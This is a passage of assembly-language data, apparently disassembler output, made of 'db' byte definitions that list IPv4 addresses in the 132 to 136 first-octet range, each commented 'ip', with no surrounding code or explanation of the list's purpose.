	  db 132, 192, 1, 11		; ip
	  db 132, 192, 1, 13		; ip
	  db 132, 194, 10, 3		; ip
	  db 132, 195, 20, 13		; ip
	  db 132, 195, 20, 3		; ip
	  db 132, 195, 7, 31		; ip
	  db 132, 197, 248, 10		; ip
	  db 132, 197, 248, 9		; ip
	  db 132, 197, 248, 90		; ip
	  db 132, 198, 201, 10		; ip
	  db 132, 198, 202, 10		; ip
	  db 132, 199, 1, 163		; ip
	  db 132, 199, 1, 2		; ip
	  db 132, 20, 251, 12		; ip
	  db 132, 20, 251, 2		; ip
	  db 132, 200, 32, 34		; ip
	  db 132, 203, 250, 10		; ip
	  db 132, 204, 2, 102		; ip
	  db 132, 204, 2, 103		; ip
	  db 132, 204, 2, 22		; ip
	  db 132, 205, 2 dup(1)		; ip
	  db 132, 205, 7, 51		; ip
	  db 132, 206, 1, 11		; ip
	  db 132, 206, 44, 21		; ip
	  db 132, 207, 144, 2		; ip
	  db 132, 208, 250, 1		; ip
	  db 132, 209, 2, 1		; ip
	  db 132, 209, 5, 1		; ip
	  db 132, 210, 13, 2		; ip
	  db 132, 211, 1, 10		; ip
	  db 132, 212, 11, 73		; ip
	  db 132, 212, 11, 9		; ip
	  db 132, 213, 1, 27		; ip
	  db 132, 214, 1, 99		; ip
	  db 132, 215, 48, 15		; ip
	  db 132, 218, 1, 12		; ip
	  db 132, 22, 254, 230		; ip
	  db 132, 22, 254, 232		; ip
	  db 132, 221, 36, 130		; ip
	  db 132, 222, 120, 12		; ip
	  db 132, 222, 120, 13		; ip
	  db 132, 223, 4, 1		; ip
	  db 132, 225, 5, 10		; ip
	  db 132, 225, 5, 32		; ip
	  db 132, 226, 16, 20		; ip
	  db 132, 227, 60, 2		; ip
	  db 132, 227, 60, 30		; ip
	  db 132, 227, 64, 13		; ip
	  db 132, 229, 22, 2		; ip
	  db 132, 229, 8, 6		; ip
	  db 132, 23, 192, 34		; ip
	  db 132, 23, 192, 35		; ip
	  db 132, 230, 2 dup(200)	; ip
	  db 132, 231, 1, 30		; ip
	  db 132, 231, 20, 100		; ip
	  db 132, 231, 51, 4		; ip
	  db 132, 233, 247, 10		; ip
	  db 132, 233, 247, 11		; ip
	  db 132, 234, 2 dup(1)		; ip
	  db 132, 234, 250, 31		; ip
	  db 132, 235, 64, 1		; ip
	  db 132, 235, 64, 2		; ip
	  db 132, 237, 1, 42		; ip
	  db 132, 237, 2, 81		; ip
	  db 132, 239, 1, 52		; ip
	  db 132, 24, 126, 5		; ip
	  db 132, 24, 126, 7		; ip
	  db 132, 241, 140, 10		; ip
	  db 132, 241, 140, 11		; ip
	  db 132, 241, 6, 10		; ip
	  db 132, 241, 66, 6		; ip
	  db 132, 241, 80, 1		; ip
	  db 132, 241, 80, 10		; ip
	  db 132, 245, 33, 7		; ip
	  db 132, 246, 161, 100		; ip
	  db 132, 246, 161, 200		; ip
	  db 132, 248, 10, 2		; ip
	  db 132, 248, 204, 1		; ip
	  db 132, 248, 237, 250		; ip
	  db 132, 248, 64, 250		; ip
	  db 132, 249, 20, 25		; ip
	  db 132, 249, 40, 25		; ip
	  db 132, 25, 88, 211		; ip
	  db 132, 250, 108, 12		; ip
	  db 132, 250, 108, 131		; ip
	  db 132, 250, 110, 12		; ip
	  db 132, 250, 116, 12		; ip
	  db 132, 252, 1, 7		; ip
	  db 132, 252, 3, 10		; ip
	  db 132, 254, 1, 11		; ip
	  db 132, 30, 199, 1		; ip
	  db 132, 30, 199, 55		; ip
	  db 132, 32, 201, 5		; ip
	  db 132, 32, 201, 6		; ip
	  db 132, 33, 132, 6		; ip
	  db 132, 34, 248, 1		; ip
	  db 132, 35, 195, 11		; ip
	  db 132, 35, 195, 13		; ip
	  db 132, 38, 190, 3		; ip
	  db 132, 38, 190, 4		; ip
	  db 132, 40, 121, 2		; ip
	  db 132, 40, 121, 4		; ip
	  db 132, 41, 120, 2		; ip
	  db 132, 42, 128, 2		; ip
	  db 132, 45, 192, 6		; ip
	  db 132, 46, 116, 1		; ip
	  db 132, 46, 116, 11		; ip
	  db 132, 47, 128, 3		; ip
	  db 132, 48, 241, 2		; ip
	  db 132, 48, 241, 3		; ip
	  db 132, 49, 221, 1		; ip
	  db 132, 49, 221, 30		; ip
	  db 132, 5, 72, 10		; ip
	  db 132, 51, 163, 3		; ip
	  db 132, 52, 154, 10		; ip
	  db 132, 52, 154, 20		; ip
	  db 132, 55, 130, 3		; ip
	  db 132, 56, 120, 12		; ip
	  db 132, 56, 120, 13		; ip
	  db 132, 58, 222, 19		; ip
	  db 132, 58, 222, 20		; ip
	  db 132, 60, 240, 5		; ip
	  db 132, 60, 240, 7		; ip
	  db 132, 60, 240, 8		; ip
	  db 132, 61, 176, 8		; ip
	  db 132, 62, 88, 95		; ip
	  db 132, 65, 16, 8		; ip
	  db 132, 70, 9, 100		; ip
	  db 132, 70, 9, 24		; ip
	  db 132, 72, 140, 45		; ip
	  db 132, 72, 140, 46		; ip
	  db 132, 74, 1, 3		; ip
	  db 132, 74, 1, 5		; ip
	  db 132, 76, 63, 27		; ip
	  db 132, 76, 64, 55		; ip
	  db 132, 76, 80, 52		; ip
	  db 132, 8, 121, 14		; ip
	  db 132, 80, 13, 10		; ip
	  db 132, 80, 2, 11		; ip
	  db 132, 80, 200, 250		; ip
	  db 132, 9, 127, 15		; ip
	  db 133, 1, 104, 196		; ip
	  db 133, 1, 105, 5		; ip
	  db 133, 1, 11, 6		; ip
	  db 133, 1, 112, 16		; ip
	  db 133, 1, 115, 10		; ip
	  db 133, 1, 116, 1		; ip
	  db 133, 1, 117, 5		; ip
	  db 133, 1, 119, 1		; ip
	  db 133, 1, 120, 1		; ip
	  db 133, 1, 120, 2		; ip
	  db 133, 1, 120, 3		; ip
	  db 133, 1, 121, 5		; ip
	  db 133, 1, 122, 50		; ip
	  db 133, 1, 124, 2		; ip
	  db 133, 1, 124, 3		; ip
	  db 133, 1, 124, 5		; ip
	  db 133, 1, 126, 23		; ip
	  db 133, 1, 128, 1		; ip
	  db 133, 1, 131, 241		; ip
	  db 133, 1, 132, 70		; ip
	  db 133, 1, 133, 5		; ip
	  db 133, 1, 134, 240		; ip
	  db 133, 1, 135, 16		; ip
	  db 133, 1, 136, 10		; ip
	  db 133, 1, 136, 30		; ip
	  db 133, 1, 138, 1		; ip
	  db 133, 1, 139, 211		; ip
	  db 133, 1, 142, 3		; ip
	  db 133, 1, 144, 130		; ip
	  db 133, 1, 145, 5		; ip
	  db 133, 1, 146, 250		; ip
	  db 133, 1, 148, 250		; ip
	  db 133, 1, 150, 2		; ip
	  db 133, 1, 150, 3		; ip
	  db 133, 1, 150, 5		; ip
	  db 133, 1, 155, 9		; ip
	  db 133, 1, 155, 90		; ip
	  db 133, 1, 156, 2		; ip
	  db 133, 1, 158, 10		; ip
	  db 133, 1, 159, 11		; ip
	  db 133, 1, 160, 5		; ip
	  db 133, 1, 17, 128		; ip
	  db 133, 1, 17, 3		; ip
	  db 133, 1, 17, 5		; ip
	  db 133, 1, 17, 6		; ip
	  db 133, 1, 171, 2		; ip
	  db 133, 1, 171, 250		; ip
	  db 133, 1, 172, 250		; ip
	  db 133, 1, 178, 13		; ip
	  db 133, 1, 180, 40		; ip
	  db 133, 1, 181, 1		; ip
	  db 133, 1, 186, 3		; ip
	  db 133, 1, 187, 11		; ip
	  db 133, 1, 192, 4		; ip
	  db 133, 1, 194, 10		; ip
	  db 133, 1, 196, 3		; ip
	  db 133, 1, 198, 3		; ip
	  db 133, 1, 2,	101		; ip
	  db 133, 1, 202, 10		; ip
	  db 133, 1, 206, 11		; ip
	  db 133, 1, 207, 2		; ip
	  db 133, 1, 213, 2		; ip
	  db 133, 1, 214, 20		; ip
	  db 133, 1, 215, 125		; ip
	  db 133, 1, 222, 3		; ip
	  db 133, 1, 225, 7		; ip
	  db 133, 1, 228, 5		; ip
	  db 133, 1, 23, 3		; ip
	  db 133, 1, 23, 5		; ip
	  db 133, 1, 237, 10		; ip
	  db 133, 1, 24, 2		; ip
	  db 133, 1, 24, 3		; ip
	  db 133, 1, 240, 23		; ip
	  db 133, 1, 240, 25		; ip
	  db 133, 1, 242, 8		; ip
	  db 133, 1, 243, 16		; ip
	  db 133, 1, 243, 19		; ip
	  db 133, 1, 246, 190		; ip
	  db 133, 1, 252, 11		; ip
	  db 133, 1, 252, 12		; ip
	  db 133, 1, 253, 5		; ip
	  db 133, 1, 27, 12		; ip
	  db 133, 1, 28, 2		; ip
	  db 133, 1, 29, 2		; ip
	  db 133, 1, 3,	5		; ip
	  db 133, 1, 32, 86		; ip
	  db 133, 1, 36, 16		; ip
	  db 133, 1, 39, 3		; ip
	  db 133, 1, 40, 1		; ip
	  db 133, 1, 40, 3		; ip
	  db 133, 1, 43, 30		; ip
	  db 133, 1, 44, 9		; ip
	  db 133, 1, 46, 15		; ip
	  db 133, 1, 48, 250		; ip
	  db 133, 1, 52, 9		; ip
	  db 133, 1, 54, 1		; ip
	  db 133, 1, 54, 2		; ip
	  db 133, 1, 56, 1		; ip
	  db 133, 1, 57, 5		; ip
	  db 133, 1, 60, 202		; ip
	  db 133, 1, 60, 252		; ip
	  db 133, 1, 60, 59		; ip
	  db 133, 1, 61, 12		; ip
	  db 133, 1, 68, 26		; ip
	  db 133, 1, 7,	5		; ip
	  db 133, 1, 77, 1		; ip
	  db 133, 1, 77, 4		; ip
	  db 133, 1, 80, 10		; ip
	  db 133, 1, 80, 20		; ip
	  db 133, 1, 81, 12		; ip
	  db 133, 1, 82, 1		; ip
	  db 133, 1, 84, 54		; ip
	  db 133, 1, 88, 1		; ip
	  db 133, 1, 91, 41		; ip
	  db 133, 1, 92, 247		; ip
	  db 133, 1, 94, 1		; ip
	  db 133, 1, 94, 2		; ip
	  db 133, 1, 96, 1		; ip
	  db 133, 1, 96, 4		; ip
	  db 133, 10, 5, 12		; ip
	  db 133, 10, 6, 11		; ip
	  db 133, 100, 240, 10		; ip
	  db 133, 100, 240, 11		; ip
	  db 133, 101, 50, 26		; ip
	  db 133, 101, 96, 25		; ip
	  db 133, 102, 12, 30		; ip
	  db 133, 102, 204, 10		; ip
	  db 133, 103, 76, 1		; ip
	  db 133, 104, 1, 3		; ip
	  db 133, 105, 11, 3		; ip
	  db 133, 106, 3, 1		; ip
	  db 133, 109, 4, 132		; ip
	  db 133, 2 dup(11), 111	; ip
	  db 133, 11, 123, 45		; ip
	  db 133, 11, 124, 164		; ip
	  db 133, 111, 200, 1		; ip
	  db 133, 12, 30, 1		; ip
	  db 133, 12, 30, 2		; ip
	  db 133, 121, 5, 14		; ip
	  db 133, 125, 1, 9		; ip
	  db 133, 126, 3, 254		; ip
	  db 133, 127, 64, 130		; ip
	  db 133, 13, 7, 2		; ip
	  db 133, 13, 7, 5		; ip
	  db 133, 137, 4, 3		; ip
	  db 133, 138, 2 dup(1)		; ip
	  db 133, 14, 2, 1		; ip
	  db 133, 145, 224, 3		; ip
	  db 133, 145, 228, 6		; ip
	  db 133, 148, 48, 3		; ip
	  db 133, 15, 128, 1		; ip
	  db 133, 15, 64, 9		; ip
	  db 133, 152, 0, 130		; ip
	  db 133, 153, 22, 11		; ip
	  db 133, 153, 22, 19		; ip
	  db 133, 158, 252, 1		; ip
	  db 133, 16, 7, 50		; ip
	  db 133, 163, 64, 1		; ip
	  db 133, 163, 64, 2		; ip
	  db 133, 164, 254, 1		; ip
	  db 133, 164, 254, 2		; ip
	  db 133, 169, 10, 3		; ip
	  db 133, 170, 2, 14		; ip
	  db 133, 173, 70, 60		; ip
	  db 133, 176, 220, 1		; ip
	  db 133, 18, 80, 1		; ip
	  db 133, 180, 164, 10		; ip
	  db 133, 186, 1, 6		; ip
	  db 133, 187, 2 dup(1)		; ip
	  db 133, 188, 30, 4		; ip
	  db 133, 189, 30, 1		; ip
	  db 133, 189, 30, 243		; ip
	  db 133, 19, 126, 1		; ip
	  db 133, 192, 181, 66		; ip
	  db 133, 194, 226, 67		; ip
	  db 133, 194, 229, 98		; ip
	  db 133, 195, 2, 10		; ip
	  db 133, 195, 2, 20		; ip
	  db 133, 2, 90, 3		; ip
	  db 133, 2, 90, 6		; ip
	  db 133, 2, 90, 7		; ip
	  db 133, 20, 16, 1		; ip
	  db 133, 205, 16, 129		; ip
	  db 133, 205, 16, 134		; ip
	  db 133, 205, 16, 141		; ip
	  db 133, 205, 64, 129		; ip
	  db 133, 205, 64, 135		; ip
	  db 133, 21, 190, 5		; ip
	  db 133, 213, 11, 1		; ip
	  db 133, 216, 155, 100		; ip
	  db 133, 217, 241, 245		; ip
	  db 133, 220, 253, 2		; ip
	  db 133, 221, 1, 253		; ip
	  db 133, 226, 136, 7		; ip
	  db 133, 23, 196, 23		; ip
	  db 133, 23, 246, 201		; ip
	  db 133, 232, 1, 29		; ip
	  db 133, 232, 254, 128		; ip
	  db 133, 235, 128, 1		; ip
	  db 133, 236, 48, 2		; ip
	  db 133, 237, 1, 2		; ip
	  db 133, 238, 2, 12		; ip
	  db 133, 24, 20, 1		; ip
	  db 133, 24, 72, 30		; ip
	  db 133, 240, 100, 2		; ip
	  db 133, 242, 8, 1		; ip
	  db 133, 243, 3, 1		; ip
	  db 133, 243, 3, 2		; ip
	  db 133, 245, 112, 2		; ip
	  db 133, 249, 1, 13		; ip
	  db 133, 25, 252, 10		; ip
	  db 133, 250, 254, 231		; ip
	  db 133, 253, 102, 202		; ip
	  db 133, 254, 5, 10		; ip
	  db 133, 254, 5, 3		; ip
	  db 133, 26, 136, 40		; ip
	  db 133, 27, 4, 121		; ip
	  db 133, 28, 20, 12		; ip
	  db 133, 29, 1, 27		; ip
	  db 133, 29, 101, 248		; ip
	  db 133, 3, 5,	2		; ip
	  db 133, 30, 8, 2		; ip
	  db 133, 31, 30, 8		; ip
	  db 133, 31, 30, 9		; ip
	  db 133, 32, 201, 1		; ip
	  db 133, 33, 1, 161		; ip
	  db 133, 33, 148, 11		; ip
	  db 133, 34, 28, 241		; ip
	  db 133, 34, 28, 245		; ip
	  db 133, 35, 135, 1		; ip
	  db 133, 35, 17, 5		; ip
	  db 133, 35, 17, 6		; ip
	  db 133, 36, 2	dup(1)		; ip
	  db 133, 37, 240, 1		; ip
	  db 133, 37, 240, 120		; ip
	  db 133, 37, 240, 131		; ip
	  db 133, 37, 56, 112		; ip
	  db 133, 37, 56, 121		; ip
	  db 133, 38, 221, 23		; ip
	  db 133, 38, 221, 24		; ip
	  db 133, 39, 3, 5		; ip
	  db 133, 39, 5, 10		; ip
	  db 133, 40, 6, 1		; ip
	  db 133, 40, 6, 4		; ip
	  db 133, 42, 48, 3		; ip
	  db 133, 42, 48, 9		; ip
	  db 133, 43, 162, 58		; ip
	  db 133, 43, 255, 23		; ip
	  db 133, 43, 98, 3		; ip
	  db 133, 44, 1, 100		; ip
	  db 133, 44, 1, 102		; ip
	  db 133, 45, 64, 5		; ip
	  db 133, 45, 8, 13		; ip
	  db 133, 46, 15, 1		; ip
	  db 133, 46, 15, 2		; ip
	  db 133, 47, 192, 2		; ip
	  db 133, 48, 152, 100		; ip
	  db 133, 48, 182, 100		; ip
	  db 133, 48, 32, 1		; ip
	  db 133, 48, 32, 5		; ip
	  db 133, 48, 72, 2		; ip
	  db 133, 49, 4, 1		; ip
	  db 133, 49, 4, 22		; ip
	  db 133, 5, 1,	6		; ip
	  db 133, 5, 10, 105		; ip
	  db 133, 5, 6,	1		; ip
	  db 133, 51, 12, 4		; ip
	  db 133, 51, 12, 5		; ip
	  db 133, 52, 10, 61		; ip
	  db 133, 52, 10, 62		; ip
	  db 133, 53, 249, 1		; ip
	  db 133, 53, 249, 2		; ip
	  db 133, 54, 188, 6		; ip
	  db 133, 54, 240, 11		; ip
	  db 133, 55, 2	dup(2)		; ip
	  db 133, 56, 11, 12		; ip
	  db 133, 57, 1, 5		; ip
	  db 133, 57, 2	dup(20)		; ip
	  db 133, 58, 1, 12		; ip
	  db 133, 6, 1,	9		; ip
	  db 133, 6, 132, 1		; ip
	  db 133, 60, 14, 101		; ip
	  db 133, 60, 240, 14		; ip
	  db 133, 62, 128, 32		; ip
	  db 133, 62, 128, 33		; ip
	  db 133, 63, 20, 2		; ip
	  db 133, 64, 2, 10		; ip
	  db 133, 64, 2, 9		; ip
	  db 133, 65, 16, 10		; ip
	  db 133, 65, 16, 6		; ip
	  db 133, 66, 1, 13		; ip
	  db 133, 67, 2	dup(1)		; ip
	  db 133, 68, 21, 192		; ip
	  db 133, 69, 130, 4		; ip
	  db 133, 7, 1,	100		; ip
	  db 133, 70, 128, 254		; ip
	  db 133, 70, 40, 253		; ip
	  db 133, 71, 2, 31		; ip
	  db 133, 72, 1, 4		; ip
	  db 133, 72, 191, 22		; ip
	  db 133, 73, 254, 2		; ip
	  db 133, 73, 254, 4		; ip
	  db 133, 74, 2, 60		; ip
	  db 133, 75, 242, 1		; ip
	  db 133, 75, 242, 247		; ip
	  db 133, 77, 17, 10		; ip
	  db 133, 78, 219, 1		; ip
	  db 133, 78, 219, 2		; ip
	  db 133, 8, 33, 194		; ip
	  db 133, 80, 11, 100		; ip
	  db 133, 80, 128, 5		; ip
	  db 133, 81, 157, 1		; ip
	  db 133, 81, 161, 6		; ip
	  db 133, 82, 15, 64		; ip
	  db 133, 82, 254, 10		; ip
	  db 133, 83, 2	dup(1)		; ip
	  db 133, 83, 2, 4		; ip
	  db 133, 83, 4, 1		; ip
	  db 133, 83, 2	dup(4)		; ip
	  db 133, 85, 100, 2		; ip
	  db 133, 86, 19, 6		; ip
	  db 133, 87, 1, 11		; ip
	  db 133, 87, 128, 10		; ip
	  db 133, 88, 232, 2		; ip
	  db 133, 89, 3, 1		; ip
	  db 133, 9, 1,	3		; ip
	  db 133, 9, 1,	4		; ip
	  db 133, 91, 135, 8		; ip
	  db 133, 91, 40, 8		; ip
	  db 133, 92, 6, 17		; ip
	  db 133, 92, 6, 18		; ip
	  db 133, 94, 1, 3		; ip
	  db 133, 94, 1, 4		; ip
	  db 133, 95, 1, 7		; ip
	  db 133, 95, 10, 3		; ip
	  db 133, 96, 104, 1		; ip
	  db 133, 96, 104, 3		; ip
	  db 133, 97, 1, 5		; ip
	  db 133, 98, 16, 2		; ip
	  db 133, 99, 162, 2		; ip
	  db 134, 1, 13, 1		; ip
	  db 134, 1, 2,	251		; ip
	  db 134, 100, 9, 61		; ip
	  db 134, 101, 16, 1		; ip
	  db 134, 101, 28, 100		; ip
	  db 134, 101, 28, 107		; ip
	  db 134, 102, 2 dup(20)	; ip
	  db 134, 103, 32, 2		; ip
	  db 134, 103, 32, 22		; ip
	  db 134, 104, 30, 95		; ip
	  db 134, 105, 19, 9		; ip
	  db 134, 106, 40, 3		; ip
	  db 134, 107, 2, 180		; ip
	  db 134, 108, 56, 1		; ip
	  db 134, 109, 132, 51		; ip
	  db 134, 109, 132, 55		; ip
	  db 134, 110, 18, 11		; ip
	  db 134, 110, 40, 5		; ip
	  db 134, 111, 18, 14		; ip
	  db 134, 111, 18, 9		; ip
	  db 134, 114, 138, 3		; ip
	  db 134, 114, 254, 15		; ip
	  db 134, 114, 96, 4		; ip
	  db 134, 115, 4, 33		; ip
	  db 134, 115, 4, 34		; ip
	  db 134, 115, 8, 33		; ip
	  db 134, 117, 2 dup(1)		; ip
	  db 134, 117, 1, 11		; ip
	  db 134, 12, 2	dup(1)		; ip
	  db 134, 120, 3, 2		; ip
	  db 134, 121, 130, 30		; ip
	  db 134, 121, 134, 1		; ip
	  db 134, 121, 16, 1		; ip
	  db 134, 121, 2, 54		; ip
	  db 134, 121, 45, 17		; ip
	  db 134, 121, 64, 1		; ip
	  db 134, 121, 64, 2		; ip
	  db 134, 122, 2, 20		; ip
	  db 134, 124, 15, 13		; ip
	  db 134, 124, 15, 136		; ip
	  db 134, 125, 70, 1		; ip
	  db 134, 126, 10, 11		; ip
	  db 134, 126, 10, 30		; ip
	  db 134, 129, 2 dup(111)	; ip
	  db 134, 129, 201, 29		; ip
	  db 134, 132, 1, 2		; ip
	  db 134, 133, 200, 25		; ip
	  db 134, 133, 200, 26		; ip
	  db 2 dup(134), 248, 3		; ip
	  db 134, 139, 1, 2		; ip
	  db 134, 140, 112, 3		; ip
	  db 134, 146, 0, 18		; ip
	  db 134, 146, 9, 4		; ip
	  db 134, 147, 222, 4		; ip
	  db 134, 147, 32, 40		; ip
	  db 134, 148, 24, 1		; ip
	  db 134, 148, 24, 3		; ip
	  db 134, 151, 79, 12		; ip
	  db 134, 151, 79, 15		; ip
	  db 134, 152, 180, 100		; ip
	  db 134, 153, 2, 23		; ip
	  db 134, 153, 2, 90		; ip
	  db 134, 154, 1, 5		; ip
	  db 134, 155, 50, 52		; ip
	  db 134, 156, 100, 1		; ip
	  db 134, 157, 0, 129		; ip
	  db 134, 157, 8, 24		; ip
	  db 134, 158, 69, 104		; ip
	  db 134, 158, 69, 191		; ip
	  db 134, 160, 33, 4		; ip
	  db 134, 160, 4, 5		; ip
	  db 134, 161, 1, 11		; ip
	  db 134, 161, 1, 32		; ip
	  db 134, 163, 253, 1		; ip
	  db 134, 163, 253, 10		; ip
	  db 134, 169, 32, 1		; ip
	  db 134, 169, 9, 107		; ip
	  db 134, 173, 254, 23		; ip
	  db 134, 176, 2, 5		; ip
	  db 134, 176, 2, 7		; ip
	  db 134, 178, 8, 99		; ip
	  db 134, 179, 112, 22		; ip
	  db 134, 180, 239, 3		; ip
	  db 134, 180, 49, 3		; ip
	  db 134, 181, 128, 1		; ip
	  db 134, 181, 128, 3		; ip
	  db 134, 184, 15, 13		; ip
	  db 134, 184, 250, 7		; ip
	  db 134, 186, 254, 252		; ip
	  db 134, 186, 4, 253		; ip
	  db 134, 188, 1, 2		; ip
	  db 134, 192, 1, 5		; ip
	  db 134, 192, 64, 26		; ip
	  db 134, 193, 1, 2		; ip
	  db 134, 193, 1, 4		; ip
	  db 134, 193, 83, 4		; ip
	  db 134, 197, 5, 1		; ip
	  db 134, 197, 6, 1		; ip
	  db 134, 198, 2 dup(10)	; ip
	  db 134, 2, 200, 1		; ip
	  db 134, 201, 12, 10		; ip
	  db 134, 201, 12, 11		; ip
	  db 134, 202, 1, 120		; ip
	  db 134, 205, 123, 148		; ip
	  db 134, 205, 131, 6		; ip
	  db 134, 206, 1, 15		; ip
	  db 134, 206, 1, 4		; ip
	  db 134, 206, 10, 18		; ip
	  db 134, 207, 10, 160		; ip
	  db 134, 207, 10, 68		; ip
	  db 134, 21, 1, 31		; ip
	  db 134, 21, 14, 50		; ip
	  db 134, 210, 1, 17		; ip
	  db 134, 210, 4, 2		; ip
	  db 134, 212, 190, 2		; ip
	  db 134, 212, 190, 3		; ip
	  db 134, 214, 100, 245		; ip
	  db 134, 214, 100, 6		; ip
	  db 134, 216, 26, 1		; ip
	  db 134, 219, 200, 108		; ip
	  db 134, 219, 44, 52		; ip
	  db 134, 220, 1, 20		; ip
	  db 134, 220, 1, 39		; ip
	  db 134, 220, 192, 26		; ip
	  db 134, 221, 1, 2		; ip
	  db 134, 221, 122, 10		; ip
	  db 134, 221, 124, 2		; ip
	  db 134, 221, 130, 1		; ip
	  db 134, 221, 140, 2		; ip
	  db 134, 221, 160, 198		; ip
	  db 134, 221, 171, 2		; ip
	  db 134, 221, 176, 2		; ip
	  db 134, 221, 2 dup(2)		; ip
	  db 134, 221, 2, 8		; ip
	  db 134, 221, 249, 1		; ip
	  db 134, 221, 58, 2		; ip
	  db 134, 221, 67, 3		; ip
	  db 134, 221, 80, 33		; ip
	  db 134, 221, 91, 69		; ip
	  db 134, 224, 1, 29		; ip
	  db 134, 224, 1, 35		; ip
	  db 134, 225, 32, 11		; ip
	  db 134, 225, 32, 12		; ip
	  db 134, 226, 1, 114		; ip
	  db 134, 226, 1, 24		; ip
	  db 134, 226, 1, 28		; ip
	  db 134, 226, 81, 11		; ip
	  db 134, 231, 4, 22		; ip
	  db 134, 231, 4, 33		; ip
	  db 134, 237, 250, 50		; ip
	  db 134, 239, 84, 2		; ip
	  db 134, 241, 1, 3		; ip
	  db 134, 241, 11, 26		; ip
	  db 134, 241, 117, 3		; ip
	  db 134, 241, 134, 1		; ip
	  db 134, 241, 140, 247		; ip
	  db 134, 241, 159, 252		; ip
	  db 134, 241, 172, 1		; ip
	  db 134, 241, 192, 3		; ip
	  db 134, 241, 21, 1		; ip
	  db 134, 241, 221, 109		; ip
	  db 134, 241, 23, 7		; ip
	  db 134, 241, 25, 1		; ip
	  db 134, 241, 251, 1		; ip
	  db 134, 241, 31, 1		; ip
	  db 134, 241, 43, 39		; ip
	  db 134, 241, 52, 5		; ip
	  db 134, 241, 55, 62		; ip
	  db 134, 241, 92, 200		; ip
	  db 134, 243, 50, 9		; ip
	  db 134, 244, 64, 11		; ip
	  db 134, 245, 1, 2		; ip
	  db 134, 245, 1, 36		; ip
	  db 134, 245, 10, 7		; ip
	  db 134, 246, 155, 1		; ip
	  db 134, 246, 166, 1		; ip
	  db 134, 247, 4, 20		; ip
	  db 134, 250, 2, 3		; ip
	  db 134, 250, 2, 6		; ip
	  db 134, 252, 10, 16		; ip
	  db 134, 252, 239, 4		; ip
	  db 134, 28, 202, 14		; ip
	  db 134, 28, 205, 14		; ip
	  db 134, 30, 15, 24		; ip
	  db 134, 30, 5, 19		; ip
	  db 134, 32, 26, 10		; ip
	  db 134, 34, 3, 2		; ip
	  db 134, 34, 2	dup(3)		; ip
	  db 134, 35, 2, 1		; ip
	  db 134, 36, 2, 60		; ip
	  db 134, 39, 2, 118		; ip
	  db 134, 4, 2 dup(10)		; ip
	  db 134, 47, 109, 11		; ip
	  db 134, 47, 109, 12		; ip
	  db 134, 48, 1, 31		; ip
	  db 134, 48, 1, 32		; ip
	  db 134, 49, 64, 1		; ip
	  db 134, 50, 254, 5		; ip
	  db 134, 53, 253, 1		; ip
	  db 134, 55, 6, 130		; ip
	  db 134, 56, 3, 101		; ip
	  db 134, 56, 3, 102		; ip
	  db 134, 58, 126, 3		; ip
	  db 134, 58, 127, 1		; ip
	  db 134, 58, 56, 153		; ip
	  db 134, 59, 2	dup(1)		; ip
	  db 134, 59, 1, 7		; ip
	  db 134, 6, 76, 3		; ip
	  db 134, 60, 1, 111		; ip
	  db 134, 60, 10, 1		; ip
	  db 134, 60, 66, 21		; ip
	  db 134, 65, 2, 131		; ip
	  db 134, 65, 2, 132		; ip
	  db 134, 67, 208, 10		; ip
	  db 134, 67, 208, 5		; ip
	  db 134, 68, 1, 2		; ip
	  db 134, 68, 1, 9		; ip
	  db 134, 7, 70, 124		; ip
	  db 134, 70, 2, 100		; ip
	  db 134, 71, 4, 100		; ip
	  db 134, 71, 5, 100		; ip
	  db 134, 74, 128, 7		; ip
	  db 134, 74, 192, 2		; ip
	  db 134, 74, 192, 6		; ip
	  db 134, 75, 122, 2		; ip
	  db 134, 75, 226, 2		; ip
	  db 134, 75, 30, 1		; ip
	  db 134, 75, 96, 150		; ip
	  db 134, 76, 10, 46		; ip
	  db 134, 76, 98, 2		; ip
	  db 134, 79, 16, 10		; ip
	  db 134, 79, 16, 9		; ip
	  db 134, 82, 7, 253		; ip
	  db 134, 83, 108, 1		; ip
	  db 134, 83, 128, 62		; ip
	  db 134, 83, 30, 3		; ip
	  db 134, 3 dup(84)		; ip
	  db 134, 87, 112, 1		; ip
	  db 134, 88, 2	dup(1)		; ip
	  db 134, 91, 4, 11		; ip
	  db 134, 91, 4, 3		; ip
	  db 134, 93, 144, 7		; ip
	  db 134, 94, 80, 2		; ip
	  db 134, 95, 100, 208		; ip
	  db 134, 95, 100, 209		; ip
	  db 134, 96, 252, 20		; ip
	  db 134, 96, 254, 1		; ip
	  db 134, 96, 2	dup(7)		; ip
	  db 134, 99, 128, 5		; ip
	  db 135, 197, 3, 11		; ip
	  db 135, 206, 255, 67		; ip
	  db 135, 206, 63, 2		; ip
	  db 135, 90, 24, 1		; ip
	  db 135, 90, 25, 1		; ip
	  db 136, 2 dup(1), 20		; ip
	  db 136, 141, 2, 12		; ip
	  db 136, 141, 2, 13		; ip
	  db 136, 141, 2, 7		; ip
	  db 136, 141, 2, 8		; ip
	  db 136, 142, 15, 10		; ip
	  db 136, 142, 188, 73		; ip
	  db 136, 142, 57, 10		; ip
	  db 136, 142, 79, 5		; ip
	  db 136, 143, 149, 11		; ip
	  db 136, 145, 1, 4		; ip
	  db 136, 148, 2 dup(1)		; ip
	  db 136, 148, 1, 10		; ip
	  db 136, 153, 2 dup(2)		; ip
	  db 136, 153, 2, 5		; ip
	  db 136, 154, 6, 236		; ip
	  db 136, 159, 1, 21		; ip
	  db 136, 159, 2, 1		; ip
	  db 136, 159, 34, 201		; ip
	  db 136, 163, 212, 3		; ip
	  db 136, 164, 216, 11		; ip
	  db 136, 164, 33, 15		; ip
	  db 136, 165, 253, 10		; ip
	  db 136, 165, 253, 89		; ip
	  db 136, 167, 2, 176		; ip
	  db 136, 167, 2, 9		; ip
	  db 136, 170, 50, 8		; ip
	  db 136, 170, 50, 9		; ip
	  db 136, 172, 100, 240		; ip
	  db 136, 174, 187, 10		; ip
	  db 136, 176, 40, 4		; ip
	  db 136, 176, 5, 7		; ip
	  db 136, 177, 16, 3		; ip
	  db 136, 179, 160, 16		; ip
	  db 136, 182, 1, 34		; ip
	  db 136, 186, 1, 111		; ip
	  db 136, 186, 1, 115		; ip
	  db 136, 186, 20, 9		; ip
	  db 136, 199, 8, 101		; ip
	  db 136, 2, 1,	20		; ip
	  db 136, 200, 150, 6		; ip
	  db 136, 200, 64, 6		; ip
	  db 136, 200, 84, 6		; ip
	  db 136, 201, 1, 23		; ip
	  db 136, 201, 1, 3		; ip
	  db 136, 201, 105, 1		; ip
	  db 136, 201, 105, 3		; ip
	  db 136, 201, 106, 1		; ip
	  db 136, 201, 24, 3		; ip
	  db 136, 206, 1, 3		; ip
